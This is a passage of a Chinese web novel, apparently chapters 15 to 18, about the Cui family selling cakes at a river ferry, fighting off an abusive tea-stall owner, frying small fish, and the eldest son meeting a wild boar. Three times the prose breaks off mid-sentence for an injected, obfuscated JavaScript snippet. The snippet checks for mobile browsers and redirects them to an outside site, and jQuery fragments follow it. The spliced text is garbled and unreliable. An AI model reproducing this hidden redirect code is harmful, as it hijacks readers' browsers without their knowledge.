“来,帮忙烧火,五娘,你去把装饼的篮子收拾好。”崔三娘已完全适应了这的生活,使唤起两个妹妹来也更得心应手,“下锅饼出炉,就分你俩吃。”
没多久,地平线上朝阳破光而出,橘色的云朵缓缓上爬,晨露在霞光下盈盈放光。
这时睡在里侧的小安安又哼唧起来。
崔大郎翻身而起,先将小安安抱起,检查过没拉臭臭,这才换了尿片,将呜哇呜哇的小家伙凑到娘亲身旁,桂氏倦得睁不开眼,一边躺着喂奶,一边问崔大郎:“几时了?”
瞧瞧天色,崔大郎一边穿外衫一边答:“大概卯时中。”
小安安出生后前两夜是崔老太太和林氏轮流照料,从昨夜起,就由崔大郎照看,桂氏只管喂奶,换尿片哄睡等活儿,都由这当爹的干。
“再睡会吧。”桂氏以为他要去灶房帮忙,调笑着劝道,“灶上的活儿你不会,去了也是添乱。”
说完抬头,崔大郎却一脸凝重,好一会才道:“今日我要进城一趟。”
15. 第 15 章
崔大郎有十日休沐假,今天才第四日,之所以进城,原因有二,一是同值房的老朱年老,他担心交代好的公务老朱做不完,二是桂老爹的那句话。
“你连吏员也快没得做了!”
当日的话犹在耳畔。
岳父为何这样说?崔家虽穷,但毕竟是桂家的亲家,岳父没有无端咒自己的理由,那么只有一种可能,岳父在外面听见了一些风声。
桂老爹以放贷起家,如今还在做,做这一行的,少不了与官府和三教九流打交道,他人脉广,打听到一些事很正常,但他没有告诉自己。
崔大郎在心里冷哂,岳父此举,是彻底看轻了自己看轻了崔家,甚至连桂娘都不顾。
越想越是气闷,心情也愈加烦躁,但一味的在心里怄气非大丈夫该有的举措,崔大郎深吸一口气,将杂念都抛到一边,温声对妻子说担心老朱。
这老朱今年已满了七十,眼睛花腿脚也不甚利索,已做不了多少事,可上头像没瞧见这情况似的,老朱也不请辞,便在书务部一日日的混下去。
去年老朱移交公文,将几本卷宗弄丢了,虽然后来寻回,可正逢上头检查,被揪了这个错处,害的崔大郎也被罚了一月的禄米。
桂氏听罢也有些担心:“那还是快去瞧瞧吧。”
家中这个状况,实在禁不起再罚一回禄米。
-
这回换崔老太太守在家里,林氏随崔三娘姊妹仨一块去渡口。
林氏胆子小一些,有心多出来练胆,婆母和闺女都说,要把买卖长久做下去,她身为崔家的媳妇,定要帮忙吆喝叫卖。
“娘,你放轻松些。”
崔三娘这些日子和崔老太太、崔家姊妹相处最多,反而与生养原身的林氏交流最少,但在原主的记忆中,她与娘亲十分亲密,林氏不大爱说话,性格却极温柔。
可温柔的女子,在这个社会注定要多受气,初嫁到崔家的头几年,林氏应该在性子火爆的崔老太太手下受了些煎熬,直到几个孩子长大,她才渐渐在崔家有了几分话语权。
可日子没顺太久,丈夫又意外去世,不过可贵的是,林氏性情依旧温柔,她从来不打骂孩子们,只改了一点,对待外人时学到了崔老太太的泼辣。
崔三娘还记得上次在集上,她和崔老太太一块叉腰对峙时的凶煞样儿。
林氏轻轻一笑,唇边浮起一对梨涡,崔三娘这才发现,林氏其实生得有些美,只是常年日晒风吹,将那美丽藏到了皱纹后,崔三娘不禁想起自己的母亲,她们的年纪差不多。
“娘不紧张。”林氏吞了口唾沫,“上次在集上,你们怎么吆喝怎么揽客,我都记在心里呢。”
崔三娘笑着点头:“我娘最聪明啦。”
到得渡口,正是日头初升,微风轻徐的好时候,她们顺着河堤往前走,晒着秋日的阳光,浑身都舒服。
来的也巧,刚站定没多久,河面上就泊来一艘客船,现在是清晨,这时候有船靠岸,说明那是只夜航船,船客们在舱房睡了一晚,正是饥肠辘辘。
“黄金糕,软糯香甜的黄金糕,吃了这黄金糕,黄金万两自家来唷。”崔三娘一挥手,崔四娘崔五娘立即跟在她身后,一窝蜂朝下船处拥去,崔三娘吆喝叫卖,俩小姊妹跟着吆喊。
小姑娘的声音清脆,比黄鹂鸟的叫声还要好听。
林氏挎着竹篮,轻咳两声也走过去,嘴里道:“酱香饼,新做的酱香饼,还热热乎乎呐。”
阳光照耀在渡口一时喧嚷的人群身上,这船是从州府驶来的,陆续竟然有二三十位客人下船。
其中有位绸裳带簪的青年妇人,牵着个十来岁的男童,路过崔三娘身边,听见她吆喝黄金糕,不由停下脚步。
“吃黄金糕,黄金万两来,真有意思,阿七,咱买几块。”
说着妇人身后挑着行李的小厮走近,口道:“好,夫人,咱要六块吧,六六大顺。”
崔三娘心里欢喜,这可是大主顾,她接过崔四娘递过来的粽叶,一边包黄金糕一边笑盈盈道:“若要十块,取个十全十美,圆圆满满的寓意,也好呢。”
那小厮正掏荷包数钱,没来得及应答,已牵着孩子往前走的妇人驻足,接话道:“你这小姑娘真会说话,阿七,就要十块。”
“多谢夫人!”崔三娘笑着包了十块糕递过去,“这糕六文一块,合计六十文。”
那叫阿七的小厮数了一陌六十的铜钱递过去,崔三娘接钱时往他手心塞了一块糕:“这块请小哥你吃。”
这是意外的惊喜,昨夜小少爷闹晕船,阿七一会端茶一会帮着揉穴位,折腾一宿没休息,现在是又困又饿,他咧嘴一乐:“多谢了。”
一串铜钱入袋,荷包顿时沉甸甸,崔四娘可佩服了:“三姐姐,怎么你说十块好,他们就要十块呀?”
崔三娘笑着解释:“看他们的穿着不像缺钱的,又见那小少爷手指有墨渍,可见坐船时也在用功,我便猜他们是读书求学的,求学之人,当然看中好兆头啦。”
“三姐姐,你瞧的真细。”崔四娘不由的赞服,“不过,这考学是什么?”
崔家姊妹们都未曾读书,自然不知考学的事,崔三娘摸摸崔四娘的发顶:“就是考试,很痛苦很无聊的呢。”
正说着,又走来几位下船的客人,崔三娘又高声吆喝起来。
待渡口重新归于平静,已是两刻钟以后,崔三娘领着姊妹们和不远处的林氏汇合,一对账,林氏竟也卖掉了六个,赚了三十文,至于崔三娘这头,一共售卖出十五个,得了九十文。
林氏很兴奋:“这卖饼就和捡鸡蛋一样,卖一个得一份钱,哎呀,心里真痛快。”
“娘这是过上瘾了。”崔五娘笑眯眯。
林氏也笑:“过瘾,真是过瘾,咱家要早开始做买卖就好啦。”
这钱挣的,比种庄稼要轻易些,钱来的也更快。
“那要赖二哥。”崔四娘快言快语,“谁叫他不早些将
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17480621|201713||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
这些吃食的做法告诉三姐姐!”
“咳咳。”眼看话题跑偏,崔二郎背上又要背一锅,崔三娘忙转移话题,“我们去那边歇一歇。”
渡口偏僻,只有一幢建筑,便是河堤五十米开外的小茶棚,茶棚由一间带后院的小木屋和前头一片露天茶摊组成,茶棚的店主很古怪,来渡口叫卖吃食的小摊贩一概不许入内。
这可以理解,渡口生意本就清淡,茶棚里不仅售茶水也有面点,小贩进去只会抢走生意。
崔三娘一行人便在茶棚三四米远的大树下停下,一边看远处的山水景色,一边盘腿坐在枯叶堆上歇脚。
中途又来了两艘小客船,船一靠岸,她们就挎着篮子去叫卖兜售,崔三娘做的南瓜饼只有二十来个,很快就售罄了,只林氏这里,还剩下十来个酱香饼。
客人散去,她们又回原地坐着歇脚,商量着再来一两艘船,这饼便可卖光。
崔四娘掏出一根红绳,和崔五娘玩翻花绳的小游戏。
她心细,将诸般变化牢记在心,一连几把,崔五娘都输了。
“嘣”的一声,崔四娘在崔五娘脑门上再次弹了个脑瓜崩,崔五娘瘪嘴:“我要变寿星翁啦。”
崔四娘抿嘴直乐:“谁叫你乱翻,总打结。”
崔五娘嚷嚷起来:“我才没乱翻!”说着去挽崔三娘的胳膊,“三姐姐,你最会玩这个了,快来替我报仇,把四姐也嘣成寿星翁!”
“那不成,我要保持中立。”崔三娘说罢试图拉林氏下水,“让娘来,我翻花绳的本事都是娘教的,让娘来露一手。”
崔家人笑闹做一团,没留神不远处的茶棚里,正有双幽怨的眼睛望着自己。
刘老爹快气死了。
他经营这家茶棚已有十多年,茶棚一直不温不火,但这是独家生意,靠着往来的客船,日子也清闲自在,尤其是他浑家和岳母,勤快非常,他只要坐着喝喝茶,收收钱,别的什么都不用做。
可今日的生意,都叫这崔家娘儿几个抢了。
僧多粥少,客人上崔家买了饼,再去卖水饮的老太婆那喝碗饮子,吃饱喝足,竟没几个登他家的门。
简直岂有此理!
刘老爹只恨眼神不能杀人,否则真想在崔家娘几个身上捅几个窟窿,尤其是听见她们还在笑,邪火更盛。
“哗啦。”
崔三娘正和姊妹们笑闹,忽然一盆水泼来,险些溅湿她们的衣裳,紧接着是恶声恶气一句骂:“呸,什么阿猫阿猫,叽叽喳喳,简直像乌鸦报丧!”
说罢,将木盆一拍,进屋去了。
崔三娘认得那人,是茶棚的店主,用脚指头也能猜到,这是嫌自家抢了生意,故意在触霉头。
“呸呸呸,谁在放屁,臭死了。”林氏霍地站起来,“走,这儿简直像茅坑!”
崔三娘忙接茬:“是啊,隔夜饭都要吐出来,真恶心。”
说着将满脸懵的崔五娘拽起来:“走,咱上前头去。”
16. 第 16 章
崔四娘年纪大些,已能听懂话外音,颇有些气愤:“娘,三姐姐,这店主好没道理,我们又没在他家的地界歇息,凭什么跑出来凶人!”
是没道理,但世上没道理的事多了。
崔三娘经历得多,便能按捺下性子,她只冲崔四娘一笑:“就当狗在叫,咱快些将饼卖完,好回家。”
崔四娘气呼呼的点头,崔五娘这下也瞧懂了刚才发生了啥,跳脚道:“要是奶奶在,非骂死他不可。”
“嘘,好汉不吃眼前亏。”崔三娘真怕这俩丫头跑回去惹事,急忙安抚她们。
崔老太太能“舌战群儒”,骂遍天下无敌手,阅历和年纪摆在那,她暂时没那个本事,还是低调为妙。
“臭?不看看自己穿得什么样,和臭要饭的有什么两样?”
崔三娘想低调,奈何现实不允许,见崔家人阴阳怪气的回嘴,刘老爹竟然从茶棚中追出来,指着她们骂。
是可忍孰不可忍,崔三娘再也捺不住火气:“关你什么事!眼红病犯了就去看大夫!”
刘老爹不敢置信的瞪大眼珠,没料到这小丫头口舌竟如此犀利,说得他心堵:“死丫头!”
要说这刘老爹,年轻时也是混不吝的人物,混到了三十多岁,才来这家茶棚入赘,不过他性子混,虽然是入赘,过得却比大老爷还自在,茶棚的原主人王老汉去世后,他俨然成了正牌店主,将王老汉的老妻即自家岳母,还有妻子使唤得团团转。
眼下被崔三娘挖心窝子似的顶了两句,混劲儿上来,竟随手拿起木棒要打人,林氏连忙上去抢棒子,这时茶棚里的王老太太和刘老爹的妻子王氏也赶出来。
王老太太步子蹒跚:“都消消火气,有什么好吵的呢。”
刘老爹脖子一梗:“人家欺负到门上了,还消火?我看您老半截身子入土,是老糊涂了!”
王氏不满丈夫说话的口气,瞪他一眼:“好了,别撒疯,你进去,我来处置。”
“你会处置个屁!呸,黄脸婆!”刘老爹怒目圆瞪,凶神恶煞活像只恶鬼,“男人家处事,有你妇道人家插嘴的道理吗?滚开!”
说罢又扭头看向崔三娘:“你这丫头,今日叫你瞧瞧刘爷的厉害!”
王氏还要阻拦,刘老爹竟然毫不客气杵了她一下,王氏吃痛又无防备,后退两步跌倒在地,她气红了脸,站起来还要去阻止丈夫,身边王老太太急忙将她拦住:“哎,姑爷会处置,咱进屋,进屋。”
说着不由王氏反驳,硬是拖着她进了茶棚。
崔三娘在一边看了个目瞪口呆,第一次遇见和人吵架,对面先对妻子家暴的,她最讨厌家暴男,窝囊又没人性。
“告诉你,刘爷我当年也是响当当的人物,你敢和我叫板,嫌命长了是吧?!”刘老爹怒喝。
他刚才呛岳母打妻子,有故意在崔家几人面前立威的意思,他也根本不将崔家人放在眼里,女人胆子最小,只要随便吓唬吓唬,就会服软。
可崔三娘却冷冷看着他,蹦出一句:“当年?窝囊废才整天将当年挂在嘴上,能理解,毕竟窝囊废现在过得窝囊,只能吹嘘当年!”
刘老爹快气晕了,他从未见过这样能气人的丫头,气急败坏,挥气木棍就要打。
崔三娘他们也一直提防着刘老爹动手,见他挥舞木棍,都一齐往后退,崔四娘崔五娘更是将手里攥着的尘土朝他眼睛撒去,大量的土尘混着砂砾,刘老爹猝不及防,眼睛顿时像针扎似的疼痛。
林氏动作迅速,将空竹篮猛地套在刘老爹头上。
崔三娘借机抢过刘老爹的木棒,先一棒子狠敲在他后膝上,将这老混子打跪在地,原主从小做农活,力气就是大,崔三娘又猛的一棍子,直接把刘老爹打得嗷嗷叫。
不过他叫唤的声音传不了多远,因为崔家母女几个一边打人,一边同时放声大嚎起来。
“救命啊,救命啊,打人了。”
“欺负弱小,好不要脸啊,救命啊,要出人命了。”
四人的嗓音都尖,嚎的那叫一个凄惨,不一会就吸引了渡口附近、茶棚里的人来围观。
这棵树恰好在院墙后,是视线死角,除了当事人谁也没瞧见经过,可一看刘老爹狰狞的嘴脸,再想他一惯的为人,众人纷纷开口劝解。
“刘店家,人家辛辛苦苦卖饼不容易,你何苦欺负人家。”
“就是啊,你瞧瞧,这木棍都被你打断了。”
这时候那卖水饮的老太太挤出人群,将崔三娘等人扶起来,指着坐在地上嚎叫腿疼眼睛疼的刘老爹:“装什么装,起来吧,我和你对门做了几十年生意,我还不知道你的德行!呸,脚底流脓的家伙,你把人家的饼全打翻了,赶紧赔钱!”
酱香饼还剩下十多个,方才着急揍人,是崔三娘自己不小心掀翻的,听水饮婆婆这样说,她没啃声,只捂着脸装哭。
“不赔,大家伙答应不答应?”水饮婆婆嗓门也不小。
“不答应!”
“人家带孩子卖饼补贴家用,不容易!”
看客们有的只是看热闹起哄,有的是真动了同情心,总之人势喧嚣,刘老爹被唬了个大白脸,别看他刚才面对崔家女眷时气势汹汹,现在活脱脱一只小鹌鹑,扭头冲茶棚方向喊:“娘子,你快来。”
王氏其实一直在暗处瞧看,包括崔家母女是怎么配合,用灰土、竹篮挟制丈夫,又是怎么用木棍狠狠揍他,她全瞧在眼中。
可作为一家人,王氏心里没有一丝心疼,相反,有着说不出的快意。
她甚至恨不得亲自动手。
直到刘老爹喊她,王氏才木着脸走出来,见来了撑腰的,刘老爹忙道:“你们搞错了,是我挨……”
话没说完,王氏却截断了他的话:“好了别说了。”说着满脸歉意的看向崔三娘,“对不住,真对不住,我家这个酒喝多了,爱犯混,你的饼值多少钱,我们认赔。”
崔三娘半点也不心虚,若不是刘老爹挑衅,她那些饼根本不会脏:“五文一个,那里有十二
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17480622|201713||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
个,值六十文钱。”
王氏听罢,从丈夫腰间扯下钱袋,数了六十文给崔三娘。
“散了散了,都散了吧。”
一场闹剧终于结束,崔三娘她们也不想在这里多待,收拾好东西便要往家走,这时候那卖水饮的老婆婆却冲她们招手:“来,到我摊子前喝点水饮,不要钱,我请客。”
崔三娘连忙摇手:“这怎么成,您留着卖钱吧。”
“客气个啥,我的饮子滋味好,来,过来尝尝。”水饮婆婆很是坚持。
闹腾这么一场,的确口焦舌燥,而她们带的一葫芦水早就喝光了,舔舔干燥的嘴唇,崔三娘她们便不再客气,同水饮婆婆走到摊前。
老婆婆自告姓吴,行三,因此大家都叫她吴三婆婆,她年轻时就在渡口卖水饮,如今已有几十年了。
“这叫桂花甜茶,秋日这个卖得最好了。”老婆婆说着舀出四碗饮子。
崔三娘端起粗瓷碗喝了一大口,饮子很甜,还有股桂花的香味,细品之下,还有些薄荷与紫苏叶的味道,算不上特别惊艳,但口焦舌燥之时来上一碗,绝对解渴又舒心。
吴三婆婆笑眯眯的:“好喝吧?”
见崔家几人都嗯声点头,她眼角笑纹愈发的深刻,吴三婆婆左右瞧了瞧,见没有不相干的人在四周,方小声开口:“你们做的那酱香饼,滋味顶好,老婆子我活了这般大岁数,头一次吃那样香的饼。”
第一次来渡口卖饼时,吴三婆婆要了两块,崔三娘还记得:“可惜今天的饼都没了,不能请婆婆你吃。”
“哈哈,不打紧。”吴三婆婆笑笑,“我们有缘,也就不绕弯子说话了,你们做的饼好,不愁卖,但我瞧你们不是每日都来,怪可惜的,你看这样可好,我从你们那里拿货,在此零卖,行不?”
崔三娘一怔:“这……”
吴三婆婆继续开口:“那饼要热乎才暄软,你们卖到后半截饼凉了,只能减价卖,若放在我摊上,能一直保持热乎。”
崔三娘心动了。
实话实讲,她没工夫每日到渡口卖饼,若批发给吴三婆婆,就有了一笔稳定进项。
“这样是挺好。”崔三娘看看吴三婆婆花白的头发,单薄的身板,略有犹疑,“我没别的担忧,只是茶棚那边,见婆婆你卖饼,不知道又要搅出什么事来。”
听得这话,吴三婆婆得意一哼:“担心我被他欺负?这你放心,我能在渡口卖几十年水饮,自有本事,他奈何不了我。”
崔三娘听罢一笑:“那我就安心了。”
双方达成共识,接下来的事情便好办了,双方都是爽快人,三言两语就敲定了合作事宜。
明日卯时末刻,崔家人将饼送到吴三婆婆水饮摊前,饼卖给吴三婆婆是十文三个,她今日先付五十文定钱,明日收饼时再付剩下的银钱以及隔日的定钱
崔三娘算了一笔账,三个饼的成本大概五文钱,按每日三十个饼算,能挣五十文一天,一月下来就是一千多文稳定的进账。
17. 第 17 章
回家的时候,崔三娘正好撞见有人在河边卖小江鱼。
是渔民家的小孩自己下篓子捞上来的,手指大小的新鲜小鱼,崔三娘认不出品种,只见波光粼粼,在阳光的照耀下煞是好看。
她舔了舔唇,问了价钱。
“六文全拿去!”小孩只有十来岁,却老成的很,显然见惯了爹娘做买卖,说话声爽朗,可爱极了。
小江鱼并不值钱,因为鱼肉没油水,又必须舍得油烹饪,否则生腥难吃,崔三娘才没有被可爱蒙蔽,她蹲下身故作嫌弃:“全是小鱼,除掉内脏骨头没几口肉,五文我还嫌贵。”
崔四娘不喜欢吃鱼,顺口接话:“就是嘛,走吧三姐姐,咱们不要!”
一听这话,卖鱼的俩小孩急了:“别走呀,五文要不要?这还有几个小螃蟹,一起送了。”
这价钱差不多,崔三娘笑着从荷包里摸出五文钱,带着小江鱼和螃蟹,一家子悠哉回了家。
才推开院门,就见院里堆着一堆山楂,红彤彤滚了一地,崔老太太搬张小凳,正哼哧哼哧的收拾,桂氏抱着小安安坐在墙角下晒太阳,崔兴家见小姑姑们回来了,蹦着朝她们扑来。
“柳木林送来的?”崔三娘一边放东西一边问。
答案显而易见,崔老太太伸直腰背:“这是第二袋,前头那袋我都收拾好了,晒在房后呢,这孩子卖力气的很,山上的山楂只怕要被他刨光了。”
自从前几日在山里遇见,柳木林就开始帮崔家摘山楂,摘得一发不可收拾,天亮就上山,摘到天黑才回家,崔三娘生怕他一个不小心在山里出事,柳木林却抓着头发淡淡笑答:“我学过武,每天扎马步,不往老林子深处走没事的,而且摘山楂还挺解乏,总之比读书舒服。”
解乏?崔三娘听了险些没笑出声。
不过,作为一个在校园里苦读多年,以勤补拙的伪学霸,崔三娘有些理解柳木林,所谓解乏大概是解压的意思,他在书院里学业紧张,重复却不费脑的体力劳动,可以缓解他的焦虑,有益于身心健康。
不过,也多亏有他,望着崔家晾晒的满院子的山楂,崔三娘非常安心,这些将来都能换钱呐。
“奶奶,您休息一会吧。”崔三娘指着小江鱼,“今儿咱们做点好吃的,您可别嫌我浪费油和面,这东西做好了可好吃,明日您过寿,正好给客人添菜。”
小江鱼?崔老太太不喜欢吃,嫌弃太腥,不过,只要崔三娘乐意,她没什么意见:“行,奶奶等着。”
这鱼新捞上来,挺干净,个子也小,直接下锅烹饪也行,但若要追求口感,还是得一条条把内脏剔除,吃过午饭后,崔三娘找来一根小树枝,吹着下午柔和的风,准备处理小江鱼。
林氏怜女儿辛苦,催着让她去午歇。
等崔三娘会完周公到院里去看,一大盆小江鱼已收拾妥帖。
“娘做事就是爽利。”
林氏正在喂鸡:“娘没别的本事,就这一身劲儿,怎么都使不完。”
崔三娘一笑,怎么会有人劲儿多的使不完呢?不过是当娘的对儿女的爱护罢了:“我娘最厉害。”
崔老太太接过话茬:“可不是,嫁到崔家这些年,里外里多少活儿,全靠你娘料理,只盼往后日子顺风顺水,你娘多享些福。”
桂氏搂着小安安,也加入了闲聊的队伍,崔三娘抱着那盆处理好的小江鱼进了灶房。
她熟练的打开存面的罐子,取了一碗白面,面里加个鸡蛋,加些水,再加点盐巴和辣椒粉,调和成黏糊糊一碗,最后将小江鱼倒进去。
这时灶上的锅已经烧热,崔三娘往锅里倒入菜籽油,大约倒了两斤。
不一会儿油热了,整个灶间充斥着菜籽油的芬芳,崔三娘将小江鱼分批倒入,小火慢炸,渐渐的,小鱼的面衣变得微黄,一股浓浓的面香和着油脂的香气,充斥着整个小院。
崔家的小孩都被这香气引到了灶房里,将灶房挤得没了挪脚的位置。
“三姐姐,这炸小鱼可真香。”崔四娘深吸一口气,口水不停的分泌。
崔五娘也耸着鼻子:“四姐你不是最讨厌吃鱼了吗?”
崔四娘咕嘟吞了口唾液,她是讨厌吃鱼,可这油炸的小江鱼,她好像一点也不讨厌。
崔家兴最直接,他朝姑姑伸出胖乎乎的小手。
看着眼前这群嗷嗷待哺的小崽子,崔三娘又好笑又无奈,只能挥舞锅铲:“你们先出去。”
这小江鱼要酥脆,还得复炸,把火烧到最旺,待油温最高的时候将微黄的小鱼丢进去,直炸到金黄璀璨,咬下去咯吱作响才捞出来,洒上些微盐粒,一口一个,吃起来别提多香了。
“来来来,油炸小酥鱼来咯。”
崔三娘端了一小碟出来,跟家人一起分享。
崔四娘迫不及待地捏了一个,丢进嘴里,随后蓦地瞪大眼睛:“真好吃呀。”
充分的高温油炸后,小鱼的外壳酥得掉渣,嚼上去咔滋响,里面的鱼肉咸嫩细软,浓浓的油脂香气和鱼肉的甘甜完美融合,一点腥味也没有。
她以前吃的鱼为什么那么腥!
崔四娘咔滋咔滋咀嚼着:“鱼真好吃,我喜欢吃鱼。”
一惯对鱼很讨厌的崔老太太也吃了好几个,香,三娘这手艺真是没得说。
-
那一篓小江鱼足有两斤,炸出来一大盆,崔三娘决定给崔家二房还有柳家送一些。
崔四娘跟着一块去。
崔二爷爷家比较近,到的时候两位堂伯刚从地里回来,正用帕子擦脸,望着那碗金灿灿的小鱼,二爷爷家的几个孩子眼睛直发亮。
油炸的小鱼,香喷喷金灿灿,一看就好吃。
这些年两家往来实在不多,更不会在非年节互相送吃食,两位堂伯还有堂婶子们都很意外,擦擦手接过碗,竟有些不好意思。
“留下吃饭吧。”
崔三娘摇头婉拒邀请,笑着接过空碗,带着崔四娘往柳家地界走。
黄石村上的房子,多是土
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17480623|201713||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
坯房,只有村长和保长家的是青砖瓦房,但踏入村西北柳家人的地界,竟然清一色都是砖房,上次夜里来借马,匆忙间加上夜色沉沉,崔三娘没瞧仔细,现在瞧着,心里不住的赞叹真阔气。
住这样的房,冬日一点也不漏风,夏天凉爽,还不担心房会被积雪压塌。
何时崔家的房能从土坯改建成砖房呢?崔家的房从祖辈手里传下,不仅局促,还有不少裂缝,崔三娘心有戚戚,只盼老房多撑几年,别叫一家子睡路边。
“来了来了。”
还是上回那位门房,他拉开院门叫崔三娘他们到内院去坐着等,想到天色将晚,崔三娘没有入内,只站在院外等,顺便悠哉的将柳家二房的院落细细欣赏一遍。
绘着图画的影壁、青砖白瓦、大理石台阶,角落郁郁葱葱花草树木,每一样都很精致。
正看得起劲,柳木林快步走出来,崔三娘将一碗酥骨鱼递给他:“多谢你这几日帮我们采山楂,这鱼才出锅的,特别香特别好吃,你尝尝。”
柳木林尝过一个后惊奇的瞪大眼睛:“你这鱼炸得真好,不像我们书院的食斋,做的鱼那叫一个难吃,我与同窗都不爱吃,中午只能饿肚子,等傍晚下课,再去外面的小食肆买饭面果腹。”
听柳木林的语气,他们对食斋怨念颇深。
崔三娘柔柔一笑,只能安慰他将来考入太学就好了,太学的食斋总不至于叫人下不了嘴。
临走前,崔三娘顺嘴问了问柳木森的伤情,得知他已经能下地后,便告辞返回。
正值日暮,如霞帔锦锻的火烧云在天际翻涌,路过一片稻田时,晚风裹挟水稻的清新气息吹来,深吸一口,分外的好闻,稻穗已沉甸甸的,就快秋收了。
崔三娘牵着妹妹的手,俩人不一会就到了院门口。
小安安睡醒了,林氏将小安安放在膝盖上,叽叽咕咕的同孩子说话,小娃娃眼睛又黑又亮,好奇的盯着说话的林氏,偶尔也如听懂一般,努努嘴作为回应。
崔三娘见有趣,放下碗也跑来逗小娃娃。
“安安真聪明,都会和人聊天了。”
“我们家安安真可爱,瞧那皮肤多白嫩,将来必定是大美人。”
不一会,从灶间出来的崔老太太也加入了逗娃大军,一家子嘻嘻哈哈,在晚风中享受着片刻悠闲时光。
天光渐暗,眼看就要天黑了,桂氏终于摁捺不住,在路口张望了几回后纳闷道:“大郎怎么还没有回来?”
早晨出发时,他明明说会尽早赶回。
衙门里面忙碌,崔大郎晚归并不稀奇。
崔老太太也往土路延伸的方向张望:“定是被公务给耽搁了。”
林氏一声叹:“大郎所在的那书务部,离了他竟像转不动似的。”
一时崔家人都静默了,崔大郎虽只跟崔三娘说过一次衙门中的事,其他家人不解内情,但崔大郎的辛苦却是每个人都看在眼中的。
“来来来,我们先用饭,不等大郎了。”
18. 第 18 章
今晚的伙食很丰盛。
有沾桂氏坐月子的光,用多余鸡汤煮的面,还有一碗崔三娘炸的小鱼,另外还有蒸得糯糯的南瓜加一碗辣酱拌的蒸茄子。
伙食标准直线飙升,一是因崔三娘能做吃食挣钱,家中经济有所缓解,二是秋收即将开始,要开始补充油水,否则身体扛不住秋收的高强度劳作。
崔三娘先吃了一大口面,面条吸饱了鸡汤,鲜美异常,一边吃面一边嚼油炸的小江鱼,更是双重享受。
“这鱼里若再加些五香粉,十三香,味道还能好一倍。”
吃到兴头上,崔三娘嘟哝了一句。
“五香粉十三香是什么?”好学又好奇的崔四娘第一个发问。
崔三娘这才反应过来,这时代哪有什么规范化的烹饪香料,就算有,穷人吃不起,富人会当做秘方自家使用。
“听二哥讲,就是把一些芝麻、孜然、花椒什么的磨碎,按比例配出来的做菜使的调料粉,嗯,等空闲了我试着做做看。”崔三娘再次淡定的给崔二郎扣上一锅,“呀,今天蒸的南瓜真甜,你们快尝尝。”
她飞快的转移了话题。
不过,今日的清蒸南瓜的确香甜,就是吃腻了南瓜的崔家诸人,也觉得可口。
“给家兴夹些,南瓜软和,对小孩的脾胃。”
“三娘,这还有几条小鱼,你吃了吧。”
-
崔家人围坐小木桌用饭时,崔大郎正紧张的和一只大野猪对峙。
黄石村通往城内的路上,有好几处茂密林地,林子里偶有猛兽出没,听说以前还有狼,不过近年已没人遇见过。
兽类昼伏夜出,只要不赶夜路,一般不会遇见。
崔大郎没料到今日这般倒霉,他一心琢磨衙门里的事,竟待野猪离自己只有一丈远才发现。
兽类粗沉的呼吸和幽幽发绿的眼睛,令崔大郎本能的害怕。
不过,狭路相逢,退无可退,他只能瞪着那头獠牙森森的野猪,小心翼翼往后撤步。
他退几步,野猪就往前迈几步,崔大郎紧张到了极点,冷汗湿透衣襟。
随着时间的流逝,天越来越黑,待夕阳的最后一抹余烬消失天际,林子里漆黑一片,风声呼呼,树影摇摆,那头面目可憎的野猪仍杵在面前,悠哉悠哉的刨着蹄子,不走开也不攻击,仿佛在故意折磨崔大郎一般。
渐渐的,二者相距已不足半丈,崔大郎甚至能闻见野猪身上的腥骚气息。
他悄悄往后退,踩断一根树枝发出啪的脆响,原本低头的野猪抬起头,迈开蹄子往前逼近。
这般熬下去,何时是尽头?崔大郎今日晌午只随意吃了个馍饼,现在早已饥肠辘辘,和野猪对峙的这小半个时辰,又消耗了他大量的体力和精力。
再看看身上,除了一个小包袱别无他物。
时间在流逝,崔大郎攥紧包袱,忽然想到一位祖上做猎户的同仁说过,无论何种野兽都有怕人之天性,若野外相逢躲避不及,不如以势取胜。
想到此,崔大郎不再后退,他用尽全身气力大喝一声,挥舞着手中的包袱,脚猛踢猛踹路边的土块砂石。
霎时尘土飞扬,爆喝声在寂静的林子中回荡。
原本带着悠哉神色的野猪猝然受惊,竟立刻往山坡下蹿去。
崔大郎大吼了半晌,精神高度紧张,竟丝毫不觉疲累,待野猪消失在视线中后,他顺着土路飞快的往前跑。
跑了没多久,身后响起嘚嘚的马蹄声,一人一马从夜色中显露:“咦,可是崔家大郎?”
那声音有些耳熟,崔大郎驻足,瞧了几瞬才认出是柳家二房的老爷柳云海。
柳云海天黑了才从城里出来,没想到在半路遇见熟人,他十分热情的拍着马背:“我带你一程。”
他骑的是自塞外贩运来的好马,两位成年男子共骑不成问题。
